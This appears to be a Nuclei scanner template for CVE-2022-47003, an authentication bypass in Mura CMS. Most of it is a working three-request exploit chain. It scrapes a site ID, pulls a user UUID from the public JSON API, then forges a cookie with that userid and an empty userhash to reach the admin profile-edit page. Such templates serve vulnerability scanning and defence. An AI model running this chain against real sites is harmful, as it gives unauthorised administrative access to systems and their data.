id: CVE-2022-47003

info:
  name: Mura CMS - Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    A vulnerability in the Remember Me function of Mura CMS before v10.0.580 allows attackers to bypass authentication via a crafted web request.
  reference:
    - https://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47003
    - http://mura.com
    - https://www.murasoftware.com/mura-cms/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47003
    cwe-id: CWE-863
  metadata:
    shodan-query: 'Generator: Musa CMS'
    verified: "true"
  tags: cve,cve2022,auth-bypass,cms,mura

requests:
  - raw:

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
        Host: {{Hostname}}
        Cookie: userid={{uuid}}; userhash=

    redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains(body_3,"\"userid\"")'

      - type: word
        part: body_3
        words:
          - "Edit Profile"

    extractors:
      - type: regex
        part: body
        name: siteid
        group: 1
        internal: true
        regex:
          - 'siteid:"(.*?)"'

      - type: regex
        part: body
        name: uuid
        group: 1
        internal: true
        regex:
          - '"lastupdatebyid":"([A-F0-9-]+)"'